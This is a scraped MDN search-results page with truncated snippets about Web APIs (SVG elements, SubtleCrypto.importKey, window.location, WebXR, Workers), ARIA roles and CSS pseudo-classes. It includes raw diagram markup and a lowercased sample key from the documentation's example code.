...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGStyleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgstyleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGTSpanElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGTextPositioningElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGUseElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 3 more matches
Screen - Web APIs
WebAPIScreen
the screen interface represents a screen, usually the one on which the current window is being rendered, and is obtained using window.screen.
... note that browsers determine which screen to report as current by detecting which screen has the center of the browser window.
... screen.availheight specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the taskbar on windows.
...And 3 more matches
SecurityPolicyViolationEvent - Web APIs
securitypolicyviolationevent.columnnumberread only the column number in the document or worker at which the violation occurred.
... securitypolicyviolationevent.documenturiread only a usvstring representing the uri of the document or worker in which the violation was found.
... securitypolicyviolationevent.linenumberread only the line number in the document or worker at which the violation occurred.
...And 3 more matches
SourceBuffer.appendBufferAsync() - Web APIs
the appendbufferasync() method of the sourcebuffer interface begins the process of asynchronously appending media segment data from an arraybuffer or arraybufferview object to the sourcebuffer.
... it returns a promise which is fulfilled once the buffer has been appended.
... syntax appendpromise = sourcebuffer.appendbufferasync(source); parameters source a buffersource (that is, either an arraybufferview or arraybuffer) which contains the media segment data you want to add to the sourcebuffer.
...And 3 more matches
StylePropertyMapReadOnly - Web APIs
methods stylepropertymapreadonly.entries() returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
... stylepropertymapreadonly.foreach() executes a provided function once for each element of stylepropertymapreadonly.
... stylepropertymapreadonly.keys() returns a new array iterator containing the keys for each item in stylepropertymapreadonly.
...And 3 more matches
SubtleCrypto.importKey() - Web APIs
/* convert a string into an arraybuffer from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function str2ab(str) { const buf = new arraybuffer(str.length); const bufview = new uint8array(buf); for (let i = 0, strlen = str.length; i < strlen; i++) { bufview[i] = str.charcodeat(i); } return buf; } const pemencodedkey = `-----begin private key----- miievqibadanbgkqhkig9w0baqefaascbkcwggsjageaaoibaqdd0tpv/du2vftjvxj1t/gxtk39snbvroaeb/jkzxae+xa0h+3lhzaqiqnmfacibsgifzuvegb+7tqxwqpolofr/r7mvgwcsk98jyrvtved8zmzyyitsy7m2hcasqafikyoouv5vzyre87/leyzzbpf3bqq4idaqu+k9hj5fkuu6rroeohsdnjc+vddqlschxvmolz9vtt+ok9j4/tolwr4cg8khdlburcby6gpclo3dpu09sw+6ctx2cx4mkxx6o/0mmdtmac...
...wadyck83mgs4nrsnhkdiqynwx1ajkly51yek6rcrdmi0th2rxrrinoc35svv+apt2rkomgi52rwtesea1kzgfrxjq61rejif6p2vxecvhex6cwlx014lgk43z6q28p6hgeevefijyqcuea5du/myb/qsrscosxlxbqwqkbgqd1+fdc9zimrvi+km7nx2ckbn8rjrdmuh5sbxn2myjdrud8bynnzkcgkmgxvxsvjrbmvorby2txoiqudzkk5md3e5o/qzwpwqlgru8ueynpobax9nrgnfz7rzd+81vh5mfzixfuzouzv29izhu0oqyz9y75ehkldrernkwyoe5auqkbgqdlzapdi1nxkbgsj9iio4kua7jvd4jjrqfy4zhj/jbqvlvm0f/ufp7sxvchgx4r11c+6icbhx4u+zuu0hgjt4d+hnxmggyxr8fiuvxolotdkvja5sobzk73/9/mbekusdmjprhalzqfmujrwioevdmhfg3tw/rbj5ryatp2dtvumqkbgds8yr52drmt+bwxofwwawb0nhyhsfz/c8v4d4ip5dj5m5kuqquxjwksysgqa40sbqnd05fbqovplu48hfgr/zghn9hujbcsozovozr4srw0uztbva+7jzoz1hkaoywiulr6vca0yurnlj6g5r56+srnkioetupi2dlczcqb0poxaogazynhvtlvizn4igsrjz5qkm4liwbithfadxbv1fq6pt0o/bgf2o+cedq0diylgk64cevwbwsbnsg4vzlbqriauejljwedajya4ee8y5a9l04d...
...zv7njb5crak6crgxxay/mbjrftahxvlazgxypgsye6ufs0+3eommevvdzqbf4qecgyea0zf6vavz28+8wlo6sp3w8nmphk7k9tgevufq30sgdx4g7qpigfprbb4op/e0qcfsiimi3scppjvumqdvvzypoimub+rv3zoxkrzxeuorpopr48fzbl7rn90yrqsasrp9e4iv8qwb3vxle7x0tdqqnryqrc/osgzus2zchokmcu8= -----end private key-----`; /* import a pem encoded rsa private key, to use for rsa-pss signing.
...And 3 more matches
UIEvent.initUIEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... once dispatched, it doesn't do anything anymore.
... canbubble is a boolean deciding whether the event should bubble up through the event chain or not.
...And 3 more matches
URLUtilsReadOnly.hash - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethash experimentalchrome no support noedge no support nofirefox full support 38 full support 38 no support 3.5 — 38notes notes before firefox 38, firefox returned the hash percent encoded.
... this has been fixed to match the spec.ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 38 full support 38 no support 4 — 38notes notes before firefox 38, firefox returned the hash percent encoded.
...And 3 more matches
URLUtilsReadOnly.origin - Web APIs
the urlutilsreadonly.origin read-only property is a domstring containing the unicode serialization of the origin of the represented url, that is, for http and https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
... for url using file: scheme, the value is browser dependant.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
VisualViewport - Web APIs
for a page containing iframes, each iframe, as well as the containing page, will have a unique window object.
... each window on a page will have a unique visualviewport representing the properties associated with that window.
... visualviewport.scale read only returns the pinch-zoom scaling factor applied to the visual viewport.
...And 3 more matches
WEBGL_compressed_texture_pvrtc - Web APIs
availability: pvrtc is typically only available on mobile devices with powervr chipsets.
... it is used in all generations of the iphone, ipod touch and ipad and supported on certain android devices that use a powervr gpu.
...one block for each 4×4 pixels.
...And 3 more matches
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.framebuffertexturelayer() attaches a single layer of a texture to a framebuffer.
... webgl2renderingcontext.invalidateframebuffer() invalidates the contents of attachments in a framebuffer.
... webgl2renderingcontext.invalidatesubframebuffer() invalidates portions of the contents of attachments in a framebuffer webgl2renderingcontext.readbuffer() selects a color buffer as the source for pixels.
...And 3 more matches
Data in WebGL - Web APIs
WebAPIWebGL APIData
shader programs have access to three kinds of data storage, each of which has a specific use case.
... each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's javascript code, depending on the specific type of variable.
... glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms.
...And 3 more matches
Using shaders to apply color in WebGL - Web APIs
applying color to the vertices in webgl objects are built using sets of vertices, each of which has a position and a color.
...between this and the fragment shader assigning the fixed color of white to each pixel, the entire square was rendered as solid white.
... let's say we want to render a gradient in which each corner of the square is a different color: red, blue, green, and white.
...And 3 more matches
Improving compatibility using WebRTC adapter.js - Web APIs
the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support.
... what adapter.js does for each version of each browser that supports webrtc, adapter.js implements the needed polyfills, establishes the non-prefixed names of apis, and applies any other changes needed to make the browser run code written to the webrtc specification.
... for example, on firefox versions older than 38, the adapter adds the rtcpeerconnection.urls property; firefox doesn't natively support this property until firefox 38, while on chrome, the adapter adds support for the promise based api is added if it's not present.
...And 3 more matches
Window.getComputedStyle() - Web APIs
syntax var style = window.getcomputedstyle(element [, pseudoelt]); element the element for which to get the computed style.
... pseudoeltoptional a string specifying the pseudo-element to match.
... the returned style is a live cssstyledeclaration object, which updates automatically when the element's styles are changed.
...And 3 more matches
window.location - Web APIs
WebAPIWindowlocation
location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace('http://example.com/#' + initialpage); } example #4: display the properties of the current url in an alert dialog: function showloc() { var olocation = location, alog = ["property (typeof): value"...
..., "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alog.push(sprop + " (" + (typeof olocation[sprop]) + "): " + (olocation[sprop] || "n/a")); } alert(alog.join("\n")); } // in html: <button onclick="showloc();">show location properties</button> example #5: send a string of data to the server by modifying the search property: function senddata (sdata) { location.search = sdata; } // in html: <button onclick="senddata('some data');">send data</button> the current url with "?some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).
... example #6: using bookmarks without changing the hash property: <!doctype html> <html> <head> <meta charset="utf-8"/> <title>mdn example</title> <script> function shownode (onode) { document.documentelement.scrolltop = onode.offsettop; document.documentelement.scrollleft = onode.offsetleft; } function showbookmark (sbookmark, busehash) { if (arguments.length === 1 || busehash) { location.hash = sbookmark; return; } var obookmark = document.queryselector(sbookmark); if (obookmark) { shownode(obookmark); } } </script> <style> span.intlink { cursor: pointer; color: #0000ff; text-decoration: underline; } </style> </head> <body> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 3 more matches
Window.requestAnimationFrame() - Web APIs
the number of callbacks is usually 60 times per second, but will generally match the display refresh rate in most web browsers as per w3c recommendation.
... the callback method is passed a single argument, a domhighrestimestamp, which indicates the current time (based on the number of milliseconds since time origin).
... when callbacks queued by requestanimationframe() begin to fire multiple callbacks in a single frame, each receives the same timestamp even though time has passed during the computation of every previous callback's workload.
...And 3 more matches
Window.sessionStorage - Web APIs
opening a page in a new tab or window creates a new session with the value of the top-level browsing context, which differs from how session cookies work.
... opening multiple tabs/windows with the same url creates sessionstorage for each tab/window.
... the keys and the values are always in the utf-16 domstring format, which uses two bytes per character.
...And 3 more matches
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
the queuemicrotask() method, which is exposed on the window or worker interface, queues a microtask to be executed at a safe time prior to control returning to the browser's event loop.
... the microtask is a short function which will run after the current task has completed its work and when there is no other code waiting to be run before control of the execution context is returned to the browser's event loop.
...you can learn more about how to use microtasks and why you might choose to do so in our microtask guide.
...And 3 more matches
Worker - Web APIs
WebAPIWorker
the worker interface of the web workers api represents a background task that can be created via script, which can send messages back to its creator.
...workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null.
... (fetch is also available, with no such restrictions.) in firefox extensions, if you want to use workers with access to js-ctypes, use chromeworker object instead.
...And 3 more matches
WritableStream.getWriter() - Web APIs
inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
... a foreach() call is used to write each chunk of the string to the stream.
... finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams.
...And 3 more matches
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
... a foreach() call is used to write each chunk of the string to the stream.
... finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams.
...And 3 more matches
XMLHttpRequest.sendAsBinary() - Web APIs
you should instead simply use the send() method, which now supports binary data in various forms.
... syntax xmlhttprequest.sendasbinary(binarystring); parameters binarystring a domstring which encodes the binary content to be sent.
...the string is converted to binary for transfer by removing the high-order byte of each character.
...And 3 more matches
XRBoundedReferenceSpace - Web APIs
the webxr device api's xrboundedreferencespace interface describes a virtual world reference space which has preset boundaries.
... this extends xrreferencespace, which describes an essentially unrestricted space around the viewer's position.
... these bounds are defined using an array of points, each of which defines a vertex in a polygon inside which the user is allowed to move.
...And 3 more matches
XRInputSource.targetRaySpace - Web APIs
syntax let targetrayspace = xrinputsource.targetrayspace; value an xrspace object—typically an xrreferencespace or xrboundedreferencespace—which represents the position and orientation of the input controller's target ray in virtual space.
... the native origin of the returned xrspace is located at the point from which the target ray is emitted, and the orientation of the space indicates the direction in which the target ray is pointing.
...it looks for inputs which have a non-null targetrayspace.
...And 3 more matches
XRInputSourceEvent - Web APIs
the webxr device api's xrinputsourceevent interface describes an event which has occurred on a webxr user input device such as a hand controller, gaze tracking system, or motion tracking system.
... more specifically, they represent a change in the state of an xrinputsource.
... constructor xrinputsourceevent() creates and returns a new xrinputsourceevent object whose properties match those provided in the eventinitdict dictionary provided.
...And 3 more matches
XRReferenceSpaceEvent.transform - Web APIs
the read-only xrreferencespaceevent property transform indicates the position and orientation of the affected referencespace's native origin after the changes the event represents are applied.
... the transform is defined using the old coordinate system, which allows it to be used to convert coordinates from the pre-event coordinate system to the post-event coordiante system.
... usage notes upon receiving a reset event, you can apply the transform to cached position or orientation information to shift them into the updated coordinate system.
...And 3 more matches
XRRenderState - Web APIs
the xrrenderstate interface of the webxr device api contains configurable values which affect how the imagery generated by an xrsession gets composited.
... these properties include the range of distances from the viewer within which content should be rendered, the vertical field of view (for inline presentations), and a reference to the xrwebgllayer being used as the target for rendering the scene prior to it being presented on the xr device's display or displays.
... when you apply changes using the xrsession method updaterenderstate(), the specified changes take effect after the current animation frame has completed, but before the next one begins.
...And 3 more matches
XRSessionEvent - Web APIs
the webxr device api's xrsessionevent interface describes an event which indicates the change of the state of an xrsession.
... these events occur, for example, when the session ends or the visibility of its context changes.
... properties in addition to properties inherited from its parent interface, event, xrsessionevent provides the folllowing: session read only the xrsession to which the event refers.
...And 3 more matches
XRViewerPose.views - Web APIs
the read-only xrviewerpose property views returns an array which contains every xrview which must be rendered in order to fully represent the scene from the viewpoint defined by the viewer pose.
...for each frame, you should always use the current length of this array rather than caching the value.
... syntax let viewlist = xrviewerpose.views; value an array of xrview objects, one for each view available as part of the scene for the current viewer pose.
...And 3 more matches
XRWebGLLayer.ignoreDepthValues - Web APIs
the read-only xrwebgllayer property ignoredepthvalues is a boolean value which is true if the session has been configured to ignore the values in the depth buffer while rendering the scene.
... syntax let ignoringdepthbuffer = xrwebgllayer.ignoredepthvalues; value a boolean value which is true if the webgl context's depth buffer is being used while computing the locations of points in the 3d world.
... usage notes when the ignoredepthvalues property is false, the xr compositor uses the values found in the depth buffer, which should be accurate for the scene, in order to potentially improve the quality or the output as well as the comfort level for the viewer.
...And 3 more matches
XRWebGLLayer - Web APIs
ignoredepthvalues read only a boolean which indicates whether or not the webxr compositor should make use of the contents of the layer's depth buffer while compositing the scene.
... methods getviewport() returns a new xrviewport instance representing the position, width, and height to which the webgl context's viewport must be set to contain drawing to the area of the framebuffer designated for the specified view's contents.
... in this way, for example, the rendering of the left eye's point of view and of the right eye's point of view are each placed into the correct parts of the framebuffer.
...And 3 more matches
Using the aria-valuenow attribute - Accessibility
the aria-valuenow attribute is used to define the current value for a range widget such as a slider, spinbutton or progressbar.
...in this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but the aria-valuetext would be one of the strings: small, medium, or large.
... value string representation of a number possible effects on user agents and assistive technology for elements with role progressbar and scrollbar, assistive technologies should render the actual value as a percentage, calculated as a position on the range from aria-valuemin to aria-valuemax if both are defined, otherwise the actual value with a percent indicator.
...And 3 more matches
Using the aria-valuetext attribute - Accessibility
the aria-valuetext attribute is used to define the human readable text alternative of aria-valuenow for a range widget such as progressbar, spinbutton or slider.
...in this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but thearia-valuetext would be one of the strings: small, medium, or large.
... value string representation of a number possible effects on user agents and assistive technology if the aria-valuetext attribute is absent, assistive technologies will rely solely on the aria-valuenow attribute for the current value.
...And 3 more matches
Using the progressbar role - Accessibility
this technique demonstrates how to use the progressbar role and describes the effect it has on browsers and assistive technology.
... as the task progresses, the aria-valuenow value has to be updated dynamically to indicate this progress to assistive technology products.
... note: assistive technologies generally will render the value of aria-valuenow as a percent of the range between the value of aria-valuemin and aria-valuemax, unless aria-valuetext is specified.
...And 3 more matches
ARIA: Complementary role - Accessibility
landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document.
... examples <div role="complementary"> <h2>trending articles</h2> <ul> <li><a href="#">18 tweets that will make you feel all the feels</a></li> <li><a href="#">stop searching for the perfect lunch containers because i've found them</a></li> <li><a href="#">the time has come to finally decide what we should be calling these foods</a></li> <li><a href="#">17 really good posts we saw on tumblr this week</a></li> <li><a href="#">10 parent hacks we know work because we tried them</a></li> </ul> </div> accessibility concerns landmark roles are inten...
... labeling landmarks multiple landmarks if there is more than one complementary landmark role or <aside> element in a document, provide a label for each landmark using the aria-label attribute, or, if the aside has an appropriately descriptive title, point to it with the aria-labelledby attribute.
...And 3 more matches
ARIA: img role - Accessibility
<div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> description any set of content that should be consumed as a single image (which could include images, video, audio, code snippets, emojis, or other content) can be identified using role="img".
... you shouldn't count on the alt text of individual elements images for conveying context to assistive technologies; most screenreaders will consider the element with role="img" set on it to be to be like a black box, and not access the individual elements inside it.
... therefore, provide a comprehensive overall descriptive alt text for image, either in the surrounding text, or by using an aria-label attribute, with optional alt attributes for search engines or sighted users to be written to the page should an image fail: <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> if you wish to add a caption or label to your image that is visible on the page, you can do using: aria-labelledby when the text is a concise label.
...And 3 more matches
::placeholder - CSS: Cascading Style Sheets
in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 usability placeholder text with sufficient color contrast may be interpreted as entered input.
... an alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use aria-describedby to programmatically associate the <input> with its hint.
...And 3 more matches
:disabled - CSS: Cascading Style Sheets
WebCSS:disabled
the element also has an enabled state, in which it can be activated or accept focus.
...it uses the javascript change event to let the user enable/disable the billing fields.
... html <form action="#"> <fieldset id="shipping"> <legend>shipping address</legend> <input type="text" placeholder="name"> <input type="text" placeholder="address"> <input type="text" placeholder="zip code"> </fieldset> <br> <fieldset id="billing"> <legend>billing address</legend> <label for="billing-checkbox">same as shipping address:</label> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled { background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () {...
...And 3 more matches
:fullscreen - CSS: Cascading Style Sheets
the :fullscreen css pseudo-class matches every element which is currently in full-screen mode.
... syntax :fullscreen usage notes the :fullscreen pseudo-class lets you configure your stylesheets to automatically adjust the size, style, or layout of content when elements switch back and forth between full-screen and traditional presentations.
... examples in this example, the color of a button is changed depending on whether or not the document is in full-screen mode.
...And 3 more matches
:read-only - CSS: Cascading Style Sheets
the :read-only css pseudo-class represents an element (such as input or textarea) that is not editable by the user.
